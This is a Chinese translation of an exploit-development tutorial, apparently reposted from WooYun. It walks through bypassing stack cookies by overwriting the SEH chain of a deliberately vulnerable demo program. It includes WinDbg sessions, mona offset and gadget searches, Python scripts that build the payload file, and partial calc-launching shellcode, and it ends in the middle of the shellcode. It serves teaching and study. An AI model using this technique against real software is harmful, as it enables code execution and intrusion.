P3nro5e · 2015/11/23 10:31node
from:expdev-kiuhnm.rhcloud.com/2015/05/26/…python
閱讀完前面的文章(連接:drops.wooyun.org/tips/9948),咱們來到這裏。shell
咱們將使用曾經使用過的代碼:安全
#!c
#include <cstdio>
int main() {
char name[32];
printf("Enter your name and press ENTER\n");
scanf("%s", name);
printf("Hi, %s!\n", name);
return 0;
}
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在VS 2013中,咱們將經過 Project→properties關閉DEP保護機制,並在Release下修改配置:cookie
確保咱們配置爲ide
若是你仍然有着用於exploitme1.exe的文件c:/name.dat
,並試圖運行exploitme2.exe,那麼程序將會崩潰而且無法彈出計算器。爲何?函數
咱們來看對應的彙編代碼:學習
int main() {
00101000 55 push ebp
00101001 8B EC mov ebp,esp
00101003 83 EC 24 sub esp,24h
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
char name[32];
printf("Enter your name and press ENTER\n");
00101010 68 00 21 10 00 push 102100h
00101015 FF 15 90 20 10 00 call dword ptr ds:[102090h]
scanf("%s", name);
0010101B 8D 45 DC lea eax,[name]
0010101E 50 push eax
0010101F 68 24 21 10 00 push 102124h
00101024 FF 15 94 20 10 00 call dword ptr ds:[102094h]
printf("Hi, %s!\n", name);
0010102A 8D 45 DC lea eax,[name]
0010102D 50 push eax
0010102E 68 28 21 10 00 push 102128h
00101033 FF 15 90 20 10 00 call dword ptr ds:[102090h]
return 0;
}
00101039 8B 4D FC mov ecx,dword ptr [ebp-4]
0010103C 83 C4 14 add esp,14h
0010103F 33 CD xor ecx,ebp
00101041 33 C0 xor eax,eax
00101043 E8 04 00 00 00 call __security_check_cookie (010104Ch)
00101048 8B E5 mov esp,ebp
0010104A 5D pop ebp
0010104B C3 ret
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這是以前的代碼(做對比):this
int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
char name[32];
printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01 push 1392100h
0139100B FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
scanf("%s", name);
01391011 8D 45 E0 lea eax,[name]
01391014 50 push eax
01391015 68 24 21 39 01 push 1392124h
0139101A FF 15 94 20 39 01 call dword ptr ds:[1392094h]
printf("Hi, %s!\n", name);
01391020 8D 45 E0 lea eax,[name]
01391023 50 push eax
01391024 68 28 21 39 01 push 1392128h
01391029 FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
0139102F 83 C4 14 add esp,14h
return 0;
01391032 33 C0 xor eax,eax
}
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
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讓咱們忽略不感興趣的部分.spa
以前的代碼爲:
int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
.
.
.
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
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如今的代碼爲:
int main() {
00101000 55 push ebp
00101001 8B EC mov ebp,esp
00101003 83 EC 24 sub esp,24h
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
.
.
.
00101039 8B 4D FC mov ecx,dword ptr [ebp-4]
0010103C 83 C4 14 add esp,14h
0010103F 33 CD xor ecx,ebp
00101041 33 C0 xor eax,eax
00101043 E8 04 00 00 00 call __security_check_cookie (010104Ch)
00101048 8B E5 mov esp,ebp
0010104A 5D pop ebp
0010104B C3 ret
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如今,在代碼的prolog部分以後,棧應該會是這樣的;
esp --> name[0..3]
name[4..7]
.
.
.
name[28..31]
ebp-4 --> cookie
ebp --> saved ebp
ret eip
.
.
.
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如上作法爲:在prolog部分設定cookie,在epilog部分檢查cookie是否被改變。若是cookie被改變,那麼在ret指令被執行以前,epilog部分會崩掉程序。注意cookie的位置:若是咱們溢出name,那麼咱們可同時覆寫cookie和ret eip。所以,在咱們能夠控制執行流以前,執行Epilog部分會崩掉程序。
咱們看看prolog部分:
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
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在cookie被存儲於[ebp-4]
以前,它首先從ds:[00103000h]
被讀取,接着與EBP進行異或操做。這樣,cookie就取決於EBP了,這意味着已嵌套的調用會有不一樣的cookie。固然,在初始化期間,cookie在ds:[00103000]
中是隨機的而且在運行時會被計算出來。 如今咱們理解了該問題,咱們能夠回到代碼的fread部分,該部分更易於(在某種程度上)進行利用:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
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由於咱們沒法經過ret eip控制EIP,因此咱們將試圖經過覆寫它來修改SEH鏈。對於咱們來講,幸運的是,該鏈在棧上。若是你不記得SEH鏈的特性,那麼請看看結構化異常處理(相關文章連接:drops.wooyun.org/tips/6814)的文章吧。
使用WinDbg打開exploitme2.exe,用以下命令在main上下斷點:
bp exploitme2!main
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接着經過按下F5(go)來讓程序運行。
當執行中止時(你也應該看看源代碼),在棧和SEH鏈上了解下:
0:000> dd esp
0038fb20 011814d9 00000001 00625088 00615710
0038fb30 bd0c3ff1 00000000 00000000 7efde000
0038fb40 00000000 0038fb30 00000001 0038fb98
0038fb50 01181969 bc2ce695 00000000 0038fb68
0038fb60 75dd338a 7efde000 0038fba8 77c09f72
0038fb70 7efde000 77ebad68 00000000 00000000
0038fb80 7efde000 00000000 00000000 00000000
0038fb90 0038fb74 00000000 ffffffff 77c471f5
0:000> !exchain
0038fb4c: exploitme2!_except_handler4+0 (01181969)
CRT scope 0, filter: exploitme2!__tmainCRTStartup+115 (011814f1)
func: exploitme2!__tmainCRTStartup+129 (01181505)
0038fb98: ntdll!WinSqmSetIfMaxDWORD+31 (77c471f5)
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記住SEH節點是8字節長的,而且會有用該形式展現:
<ptr to next SEH node in list>
<ptr to handler>
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咱們能夠看到第一個節點在地址0x38fb4c上(即esp+0x2c)而且存在
0038fb98 <-- next SEH node
01181969 <-- handler (exploitme2!_except_handler4)
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下一個以及最後一個SEH節點在地址0x38fb98上(即esp+0x78)而且存在
ffffffff <-- next SEH node (none - this is the last node)
77c471f5 <-- handler (ntdll!WinSqmSetIfMaxDWORD+31)
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在調用thefread()函數以前,將100個’a’字符放入c:/name.dat並步過代碼(F10)。咱們再次檢測SEH鏈:
0:000> !exchain
0038fb4c: 61616161
Invalid exception stack at 61616161
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如咱們可觀察到的,咱們已經試着覆寫了SEH鏈了。如今讓程序運行(F5)。
WinDbg將會打印出以下內容:
STATUS_STACK_BUFFER_OVERRUN encountered
(1610.1618): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=01182108 ecx=75e1047c edx=0038f4d1 esi=00000000 edi=6d5ee060
eip=75e1025d esp=0038f718 ebp=0038f794 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
kernel32!GetProfileStringW+0x12cc1:
75e1025d cc int 3
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這可能意味着main()中的epilog部分已經檢測到cookie被修改了,而且阻止了咱們的進一步操做,可是,實際上,fread調用以後,該安全違例是因爲一些與分配操做相關的邊界檢查致使的。
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0'; <-------------------------
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
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邊界檢查:
name[bytes] = '\0';
008B107A 83 FE 20 cmp esi,20h ; esi = bytes
008B107D 73 30 jae main+0AFh (08B10AFh)
008B107F 57 push edi
008B1080 C6 44 35 DC 00 mov byte ptr name[esi],0
.
.
.
008B10AF E8 48 01 00 00 call __report_rangecheckfailure (08B11FCh)
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既然這樣,因爲邊界檢查,epilog部分歷來沒有被執行過,可是概念是相同的。咱們覆寫SEH鏈,可是並無生成異常,所以,SEH鏈並無被使用過。在進行邊界檢查以前,咱們須要生成異常。(不然main()的epilog部分會被執行)。
讓咱們進行一次實驗:咱們來觀察發生異常是否會調用在SEH鏈上的handler。修改代碼以下:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = bytes / 0; // '\0'; !!! divide by 0 !!!
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
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注意咱們在fread函數前已經添加了除數爲0的狀況。這應該會生成異常並調用SEH鏈的第一個handler。
編譯代碼,用WinDbg從新打開它。這會發生什麼:
(177c.12f4): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for exploitme2.exe
eax=00000064 ebx=6d5ee060 ecx=00000000 edx=00000000 esi=00000001 edi=00000064
eip=012f107a esp=002cfbd4 ebp=002cfc2c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
exploitme2!main+0x7a:
012f107a f7f9 idiv eax,ecx
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正如咱們能夠觀察到的,在經過程序能夠看到已生成的異常前,WinDbg就已經捕獲到異常了。再次按下F5(go)將異常傳給程序,這是咱們觀察到的:
(177c.12f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=002cf638 ebp=002cf658 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
61616161 ?? ???
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咱們能夠觀察到EIP=0x61616161.惟一可解釋的是handler在已修改的SEH鏈中被調用!
如今在進行邊界檢查前,咱們必須找到生成異常的方法(或者經過main()函數的epilog部分檢查cookie)。首先,咱們將移除異常,同時稍微修改下咱們的代碼:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
int pos = 0;
while (pos < bytes) {
int len = bytes - pos > 200 ? 200 : bytes - pos;
fread(name + pos, 1, len, f);
pos += len;
}
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
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咱們已經決定從200字節的塊中讀取文件,由於若是被請求讀取太多字節,那麼調用fread() 可能會失敗。這樣,咱們能夠有一個具備較長字節的文件。
棧是有限的,所以若是咱們不斷對其進行寫入操做直到棧末端(最高地址),那麼將會發生一次訪問違例。咱們來運行Python的IDLE並試圖使用1000個」a」字符:
#!python
with open('c:\\name.dat', 'wb') as f:
f.write('a'*1000)
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使用WinDbg運行exploitme2.exe。容易檢驗出1000個」a」字符是不夠的。咱們來試試使用2000個」a」字符:
#!python
with open('c:\\name.dat', 'wb') as f:
f.write('a'*2000)
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一樣沒有達到咱們的目的。最後,使用10000個」a」字符,咱們獲得:
(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SysWOW64\MSVCR120.dll -
eax=00816808 ebx=000000c8 ecx=00000030 edx=000000c8 esi=008167d8 edi=003c0000
eip=6d51f20c esp=003bfb68 ebp=003bfb88 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
MSVCR120!wcslen+0x19:
6d51f20c f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
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在按下F5(go)以後,咱們獲得:
(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=003bf5cc ebp=003bf5ec iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
61616161 ?? ???
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這是咱們想要的:EIP=0x61616161
。咱們知道咱們的」a」字符已經覆寫了SEH節點的handler地址,但肯定是這4個」a」字符嗎?換句話說,咱們應該把重定向執行流的地址放入到文件中的偏移是多少呢? 使用特定的模板而不是使用單一的」a」字符不失爲一種簡單的方法。這個模板已設計好了,所以給出了模板的4個連續字節,咱們能夠當即告訴該模板的偏移這四個字節被定位了。 利用mona(相關文章連接:drops.wooyun.org/tips/6814)使用以下命令能夠幫助咱們:
0:000> !py mona pattern_create 10000
Hold on...
[+] Command used:
!py mona.py pattern_create 10000
Creating cyclic pattern of 10000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open pattern.txt and copy the pattern from the file
[+] This mona.py action took 0:00:00
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使用一段Python代碼,咱們能夠將模板寫到c:/name.dat
。
#!python
with open('c:\\name.dat', 'wb') as f:
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)'
f.write(pattern)
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注意,我已經截下了一段模板,由於它過長而沒有在這裏展現出來。
咱們用WinDbg重啓exploitme2.exe,第二次按下F5,獲得:
(11e0.11e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=64413963 edx=77c2b4ad esi=00000000 edi=00000000
eip=64413963 esp=0042f310 ebp=0042f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
64413963 ?? ???
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咱們能夠觀察到 EIP = 0x64413963
. 讓咱們看看被定位的模板偏移。記住英特爾CPU是小端模式的,所以0x64413963 = 「\x63\x39\x41\x64」 = 「c9Ad」
。讓咱們使用mona來判斷該偏移:
0:000> !py mona pattern_offset 64413963
Hold on...
[+] Command used:
!py mona.py pattern_offset 64413963
Looking for c9Ad in pattern of 500000 bytes
- Pattern c9Ad (0x64413963) found in cyclic pattern at position 88
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (uppercase)
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (lowercase)
[+] This mona.py action took 0:00:00.172000
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偏移是88。用以下Python腳原本檢驗那正確的偏移:
#!python
with open('c:\\name.dat', 'wb') as f:
handler = 'bbbb'
f.write('a'*88 + handler + 'c'*(10000-88-len(handler)))
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此次WinDbg輸出以下:
(1b0c.1bf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=62626262 edx=77c2b4ad esi=00000000 edi=00000000
eip=62626262 esp=002af490 ebp=002af4b0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???
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由於0x62626262=」bbbb」
.這確實是咱們想要的。如今咱們知道在文件中放入咱們想要的地址在哪裏了,咱們須要判斷使用的是哪一個地址。在WinDbg中點擊View→Memory 並在」Virtual:[email protected],ESP=0x2af490
,同時,[email protected]+6d4上。
讓咱們重啓exploitme2.exe來觀察6d4是不是一個常數。在Memory 窗口中的」Virtual:[email protected][email protected]咱們也能夠觀察到ESP老是不一樣的,即便偏移6d4並不改變。
所以,在4個」b」字符以後,咱們能夠將咱們的shellcode放置在正確的位置,而且用以下一段代碼中的地址替換那些」b」字符:
ADD ESP, 6d8
JMP ESP
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注意咱們已經使用了6d8,即6d4+4來跳過」b」字符並轉移到咱們將放置在替代」c」字符的shellcode上。固然,ADD ESP, 6e0
或相似的代碼也將會被執行。不幸的是,找到這類代碼並不容易,但這是一種更簡單的方法。
重啓exploitme2.exe,第二次按下F5並觀察棧:
0:000> dd esp
002df45c 77c2b499 002df544 002dfb2c 002df594
002df46c 002df518 002dfa84 77c2b4ad 002dfb2c
002df47c 002df52c 77c2b46b 002df544 002dfb2c
002df48c 002df594 002df518 62626262 00000000
002df49c 002df544 002dfb2c 77c2b40e 002df544
002df4ac 002dfb2c 002df594 002df518 62626262
002df4bc 002e1000 002df544 00636948 00000000
002df4cc 00000000 00000000 00000000 00000000
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在esp+8上的dword值看起來挺有趣的。 若是咱們觀察那個地址咱們能夠了解到以下內容:
0:000> db poi(esp+8)
002dfb2c 61 61 61 61 62 62 62 62-63 63 63 63 63 63 63 63 aaaabbbbcccccccc
002dfb3c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb4c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb5c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb6c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb7c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb8c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb9c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
複製代碼
0x2dfb2c指向處理」b」字符的4個」a」字符。要記住的是」bbbb」覆寫SEH節點的」handler」域,所以,0x2dfb2c必須指向相同SEH節點的「下一個SEH 節點」域。咱們來檢驗該過程:
0:000> !exchain
002df470: ntdll!ExecuteHandler2+3a (77c2b4ad)
002dfa84: MSVCR120!_ValidateRead+439 (6d52a0d5)
002dfb2c: 62626262
Invalid exception stack at 61616161
複製代碼
看起來彷佛覆寫了第三個SEH節點:
0:000> dt _EXCEPTION_REGISTRATION_RECORD 002dfb2c
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x61616161 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x62626262 _EXCEPTION_DISPOSITION +62626262
複製代碼
首先,確保esp+8總存在準確的重啓進程的地址,再試一次。在檢驗完以後,咱們須要找到一些指令如:
POP reg32
POP reg32
RET
複製代碼
思路是:被執行時,放入某段代碼的地址來替代4個」b」字符,該代碼將會對ESP進行加8操做(2條pop指令),接着提取經過ESP指向的值而後轉移到那個地址。這確實是咱們想要的,即,它將會轉移到咱們的」b」字符前面4個」a」字符右端。爲了跳過」b」字符並轉移到咱們的shellcode上(咱們的」c」字符),咱們須要在」b」字符的前面放入一個jmp指令。
JMP操做碼的簡寫是:
EB XX
複製代碼
XX的位置是一個被標記的字節。爲了方便,咱們添加一個標籤:
here:
EB XX
複製代碼
那操做碼轉移到here+2+XX的位置。例如,
EB 00
there:
複製代碼
轉移以後到了右邊,即,到了there部分。
這是咱們想要的:
90是NOP指令的操做碼(no operation-不進行任何操做),可是由於那兩個字節將會被跳過,因此咱們可使用任意指令的操做碼。
如今讓咱們在kernel32.dll中找到 pop/pop/ret
的地址:
0:000> !py mona findwild -s "pop r32#pop r32#ret" -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m kernel32.dll
---------- Mona command started on 2015-03-18 20:33:46 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules kernel32.dll
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x75dc0000 and 0x75ed0000
[+] Preparing output file 'findwild.txt'
- (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
- Number of pointers of type 'pop edi # pop ebp # retn 24h' : 1
- Number of pointers of type 'pop esi # pop ebx # retn' : 2
- Number of pointers of type 'pop ebx # pop ebp # retn 14h' : 4
- Number of pointers of type 'pop ebx # pop ebp # retn 10h' : 14
- Number of pointers of type 'pop edi # pop esi # retn' : 2
- Number of pointers of type 'pop edi # pop ebp # retn 8' : 13
- Number of pointers of type 'pop eax # pop ebp # retn 1ch' : 2
- Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1
- Number of pointers of type 'pop esi # pop ebp # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn 1ch' : 4
- Number of pointers of type 'pop eax # pop ebp # retn 0ch' : 8
- Number of pointers of type 'pop edi # pop ebp # retn 1ch' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop esi # pop ebp # retn 0ch' : 49
- Number of pointers of type 'pop eax # pop ebp # retn' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 4' : 3
- Number of pointers of type 'pop esi # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 27
- Number of pointers of type 'pop esi # pop ebp # retn 24h' : 1
- Number of pointers of type 'pop eax # pop ebp # retn 18h' : 3
- Number of pointers of type 'pop edi # pop ebp # retn 0ch' : 11
- Number of pointers of type 'pop esi # pop ebp # retn 10h' : 15
- Number of pointers of type 'pop esi # pop ebp # retn 18h' : 10
- Number of pointers of type 'pop esi # pop ebp # retn 14h' : 11
- Number of pointers of type 'pop edi # pop ebp # retn 10h' : 6
- Number of pointers of type 'pop eax # pop ebp # retn 8' : 5
- Number of pointers of type 'pop ebx # pop ebp # retn 4' : 11
- Number of pointers of type 'pop esi # pop ebp # retn 4' : 70
- Number of pointers of type 'pop esi # pop ebp # retn 8' : 62
- Number of pointers of type 'pop edx # pop eax # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn 8' : 26
- Number of pointers of type 'pop ebx # pop ebp # retn 18h' : 6
- Number of pointers of type 'pop ebx # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 10h' : 3
- Number of pointers of type 'pop eax # pop ebp # retn 14h' : 3
- Number of pointers of type 'pop ebx # pop ebp # retn' : 4
- Number of pointers of type 'pop edi # pop ebp # retn 14h' : 2
- Number of pointers of type 'pop edi # pop ebp # retn 4' : 5
[+] Results :
0x75dd4e18 | 0x75dd4e18 (b+0x00014e18) : pop edi # pop ebp # retn 24h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd75d | 0x75dfd75d (b+0x0003d75d) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd916 | 0x75dfd916 (b+0x0003d916) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dd4f7c | 0x75dd4f7c (b+0x00014f7c) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75ddf840 | 0x75ddf840 (b+0x0001f840) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfc1ca | 0x75dfc1ca (b+0x0003c1ca) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7a327 | 0x75e7a327 (b+0x000ba327) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75de1267 | 0x75de1267 (b+0x00021267) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75defda1 | 0x75defda1 (b+0x0002fda1) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfb33c | 0x75dfb33c (b+0x0003b33c) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfbf8a | 0x75dfbf8a (b+0x0003bf8a) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfda42 | 0x75dfda42 (b+0x0003da42) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e45960 | 0x75e45960 (b+0x00085960) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e47b36 | 0x75e47b36 (b+0x00087b36) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e4a53f | 0x75e4a53f (b+0x0008a53f) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e5e294 | 0x75e5e294 (b+0x0009e294) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e65641 | 0x75e65641 (b+0x000a5641) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e6a121 | 0x75e6a121 (b+0x000aa121) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e77bf1 | 0x75e77bf1 (b+0x000b7bf1) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7930d | 0x75e7930d (b+0x000b930d) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...
Found a total of 396 pointers
[+] This mona.py action took 0:00:12.400000
複製代碼
咱們選擇第二個地址
0x75dfd75d | 0x75dfd75d (b+0x0003d75d) : pop esi # pop ebx # retn
複製代碼
用來建立文件name.dat的Python代碼以下:
#!python
with open('c:\\name.dat', 'wb') as f:
jmp = '\xeb\x06\x90\x90'
handler = '\x5d\xd7\xdf\x75'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
